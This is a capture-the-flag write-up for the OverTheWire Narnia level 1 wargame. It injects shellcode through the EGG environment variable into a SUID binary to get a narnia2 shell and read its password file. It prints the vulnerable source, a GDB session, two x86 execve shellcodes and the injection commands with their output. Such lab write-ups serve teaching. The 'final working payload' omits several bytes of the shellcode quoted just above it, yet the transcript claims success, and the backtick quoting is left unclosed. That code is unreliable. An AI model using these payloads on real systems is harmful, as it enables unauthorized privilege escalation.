

Narnia Level - 1

This is an elaborate each level oriented write-up for the Narnia wargame from OverTheWire.org. These challenges provide invaluable hands-on learning experiences in cybersecurity and exploitation techniques. If you find these resources helpful, please consider supporting the OverTheWire team who create and maintain these educational platforms—they're doing important work making security education accessible to everyone.

Donate at: <https://overthewire.org/information/donate.html>

Author: Jinay Shah

Tools Used:

- Kali Linux
 - Python
 - GDB
-

Narnia Level 1

TL;DR

Vulnerability : Execution of user-provided environment variable as function pointer.

Root cause : `ret = getenv("EGG"); ret();`

Goal : Inject shellcode into EGG that preserves SUID privileges.

What worked : `execve("/bin/bash", ["-p"]);`

What didn't : `execve("/bin/sh")` did not preserve SUID.

Final payload example: `export EGG=$(printf ...)`

Level info:

`narnia1.c`

```
#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}
```

Solution:

It seems we have to somehow try to set the value for an environment variable '`EGG`', lets see how the program is being executed:

```
narnia1@narnia:/narnia$ ./narnia1
Give me something to execute at the env-variable EGG
narnia1@narnia:/narnia$
```

Let's check the value of the environment variable `$EGG` it should be null:

```
narnia1@narnia:/narnia$ echo $EGG
narnia1@narnia:/narnia$
```

Let's try exporting some value to `$EGG` for e.g. ABCD and see how it behaves:

```
narnia1@narnia:/narnia$ echo $EGG
Home      natas
narnia1@narnia:/narnia$ export EGG=ABCD
narnia1@narnia:/narnia$ echo $EGG
ABCD
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault (core dumped)
narnia1@narnia:/narnia$
```

It is a segmentation fault apparently, let's disassemble the code first and then try to see how it is operating at the low level:

Run ./narnia1 in debug mode using `gdb`:

```
gdb ./narnia1
```

Then disassemble the code or `int main` using:

```
(gdb) disassemble main
```

```

Dump of assembler code for function main:
0x08049186 <+0>:    push   %ebp
0x08049187 <+1>:    mov    %esp,%ebp
0x08049189 <+3>:    sub    $0x4,%esp
0x0804918c <+6>:    push   $0x804a008
0x08049191 <+11>:   call   0x8049040 <getenv@plt>
0x08049196 <+16>:   add    $0x4,%esp
0x08049199 <+19>:   test   %eax,%eax
0x0804919b <+21>:   jne    0x80491b1 <main+43>
0x0804919d <+23>:   push   $0x804a00c
0x080491a2 <+28>:   call   0x8049050 <puts@plt>
0x080491a7 <+33>:   add    $0x4,%esp
0x080491aa <+36>:   push   $0x1
0x080491ac <+38>:   call   0x8049060 <exit@plt>
0x080491b1 <+43>:   push   $0x804a041
0x080491b6 <+48>:   call   0x8049050 <puts@plt>
0x080491bb <+53>:   add    $0x4,%esp
0x080491be <+56>:   push   $0x804a008
0x080491c3 <+61>:   call   0x8049040 <getenv@plt>
0x080491c8 <+66>:   add    $0x4,%esp
0x080491cb <+69>:   mov    %eax,-0x4(%ebp)
0x080491ce <+72>:   mov    -0x4(%ebp),%eax
0x080491d1 <+75>:   call   *%eax
0x080491d3 <+77>:   mov    $0x0,%eax
0x080491d8 <+82>:   leave 
0x080491d9 <+83>:   ret

End of assembler dump.

```

The environment variable is being called at <+61> and the `ret()` function is being called at <+75>, like the previous level we will add a break at <+75>:

```
break *main+75
```

```
(gdb) break *main+75
Breakpoint 1 at 0x80491d1
(gdb) ■
```

Now let's run it, and analyze the memory dump at register `eax` :

```
(gdb) run
Starting program: /narnia/narnia1
Download failed: Permission denied. Continuing without separate debug info for system-supplied DSO at 0xf7fc7000.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Trying to execute EGG!

Breakpoint 1, 0x080491d1 in main ()
(gdb) x/25x $eax
0xfffffde05: 0x44434241    0x4c485300    0x313d4c56    0x47445800
0xfffffde15: 0x5345535f    0x4e4f4953    0x3d44495f    0x36333633
0xfffffde25: 0x58003438    0x525f4744    0x49544e55    0x445f454d
0xfffffde35: 0x2f3d5249    0x2f6e7572    0x72657375    0x3034312f
0xfffffde45: 0x53003130    0x435f4853    0x4e45494c    0x30313d54
0xfffffde55: 0x312e302e    0x3934322e    0x36383320    0x32203030
0xfffffde65: 0x00363232
```

Allow me to breakdown the explanation for examining the memory dump, if someone feels a little confused by it, its actually pretty simple and straightforward:

x/ → examine
25 → 25 memory bytes
x → Hexadecimal [could be c → char or d → decimal]
\$eax → from (starting from) register eax

Let me actually illustrate how the environment variable **\$EGG**'s value we provided earlier as ABCD is actually stored here and how to make sense of it:

```
Breakpoint 1, 0x080491d1 in main ()
(gdb) x/25x $eax
0xfffffde05: 0x44434241    0x4c485300    0x313d4c56    0x47445800
0xfffffde15: 0x5345535f    0x4e4f4953    0x3d44495f    0x36333633
0xfffffde25: 0x58003438    0x525f4744    0x49544e55    0x445f454d
0xfffffde35: 0x2f3d5249    0x2f6e7572    0x72657375    0x3034312f
0xfffffde45: 0x53003130    0x435f4853    0x4e45494c    0x30313d54
0xfffffde55: 0x312e302e    0x3934322e    0x36383320    0x32203030
0xfffffde65: 0x00363232
(gdb) x/25c $eax
0xfffffde05: 65 'A' 66 'B' 67 'C' 68 'D' 0 '\000'      83 'S' 72 'H' 76 'L'
0xfffffde0d: 86 'V' 76 'L' 61 '=' 49 '1' 0 '\000'      88 'X' 68 'D' 71 'G'
0xfffffde15: 95 '_' 83 'S' 69 'E' 83 'S' 83 'S' 73 'I' 79 'O' 78 'N'
0xfffffde1d: 95 '_'
```

See how first 4 bytes are stored as A, B, C and D, that tells us the first memory location is storing the environment variable **\$EGG**'s value.

Now if you convert the values for A, B, C and D from ASCII to Hexadecimal they are:

A → 41
B → 42
C → 43
D → 44

But if you notice the order of storing in the memory is:

0x44434241 → it is in reverse order or as we previously discussed in level-0 it is stored in little endian format [look it up- a simple google search should suffice]

Any who, what we have to do is we need to set the **\$EGG** such that it executes and delivers us the shell using narnia2 privileges, just a general insight if you haven't performed any of the OverTheWire series, all the executables in Narnia as you can see using **ls -l** are executed using set-uid, meaning they are being executed using permission levels of the next sequential user so when we execute ./narnia1 we actually in the background are executing it with permission levels of next level i.e. narnia2. If you want you can read about setuid here:

<https://en.wikipedia.org/wiki/Setuid>

Let's try to find the right shell code that would allow us to execute the bash shell when EGG variable value is executed, we can go to shell storm and find the effective shell code that works for us, the link to the index is:

<https://shell-storm.org/shellcode/files/shellcode-585.html>

I found one by MagneFikko:

```
#include <stdio.h>
#include <string.h>

/*
by MagneFikko
14.04.2010
```

magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PREkambr
Name: 25 bytes execve("/bin/sh") shellcode
Platform: Linux x86

```
execve("/bin/sh", 0, 0);
gcc -Wl,-z,execstack filename.c
```

shellcode:

```
\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\x
2f\x62\x69\x6e\x2f\x73\x68
```

```
*/
```

```
int main(){
char shell[] =
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\x
2f\x62\x69\x6e\x2f\x73\x68";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shel
l)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}
```

And the shellcode to be or I though so to be was:

```
\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\x
2f\x62\x69\x6e\x2f\x73\x68
```

But apparently this isn't going to work let me illustrate how and why:

```
narnia1@narnia:/narnia$ echo $EGG
+
[1♦1♦1¥
*****/bin/sh
narnia1@narnia$ EGG=`printf "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ./narnia1
Trying to execute EGG!
$ whoami
narnia1
$ 
```

From the output, we can see the egg variable value is set to bash:

```
narnia1@narnia:/narnia$ echo $EGG
?
[1?1?1¥
? ? ? ? /bin/sh
```

But it is executing the bash with the permissions of narnia1 not narnia 2:

```
narnia1@narnia:/narnia$ EGG=`printf "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ./narnia1
Trying to execute EGG!
$ whoami
narnia1
```

Why this shellcode failed?

/bin/sh drops SUID privileges → shell runs as narnia1 → cannot read narnia2 password

Most shells drop privileges unless invoked with `-p` to preserve effective UID. Therefore, normal /bin/sh shellcodes will run as user → not as SUID target. So now we have to pivot to a different method, checkout this other shellcode by Jonathan Salwan from the link here:

<https://shell-storm.org/shellcode/files/shellcode-607.html>

This is the shell code:

```
/*
```

Title: Linux x86 - polymorphic execve("/bin/bash", ["/bin/bash", "-p"], NULL)
- 57 bytes
Author: Jonathan Salwan
Mail: submit@shell-storm.org
Web: http://www.shell-storm.org

!Database of Shellcodes <http://www.shell-storm.org/shellcode/>

sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: <http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49>

Based on <http://www.shell-storm.org/shellcode/files/shellcode-606.php>
*/

```
#include <stdio.h>

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
    "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
    "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
    "\xb6\x0c\x59\x9a\x53\x67\x69\x2e"
    "\x71\x8a\xe2\x53\x6b\x69\x69\x30"
    "\x63\x62\x74\x69\x30\x63\x6a\x6f"
    "\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
    "\x81";
```

```
int main(int argc, char *argv[])
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();
}
```

The important thing that makes this shell code effective is this:

```
"/bin/bash", "-p"
```

-p executes the shell with the current permission sets, and in our case that would be permission sets of narnia2 which we wish to preserve, now let's try executing this shell code like:

Final Working Payload:

```
EGG=`echo -e "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81" ./narnia1
```

And there we go, finally:

```
narnia1@narnia:/narnia$ EGG=`echo -e "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81" ./narnia1
Trying to execute EGG!
bash-5.2$ whoami
narnia2
bash-5.2$ cat /etc/narnia_pass/narnia2
[REDACTED]
bash-5.2$
```

Unlike previous OverTheWire games this time around I will not be revealing the password(s) itself, but well I have illustrated how you can achieve it nonetheless.

You can also use `printf` if you want:

```
EGG=`printf "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81" ./narnia1
```

```
narnia1@narnia:/narnia$ EGG=`printf "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81" ./narnia1
Trying to execute EGG!
bash-5.2$ whoami
narnia2
bash-5.2$
```

That's it for the challenge.

See you on the next one.

References:

1. Shell-Storm.org:
<https://shell-storm.org/shellcode/index.html>
 2. YouTube [Jason Turley]:
https://www.youtube.com/watch?v=3Jz-3eVsi_A
 3. HackMethod.com
<https://hackmethod.com/overthewire-narnia-1/?v=19095b918fd9>
 4. YouTube [HMCyberAcademy]:
<https://www.youtube.com/watch?v=vLZm4vdrZHs>
-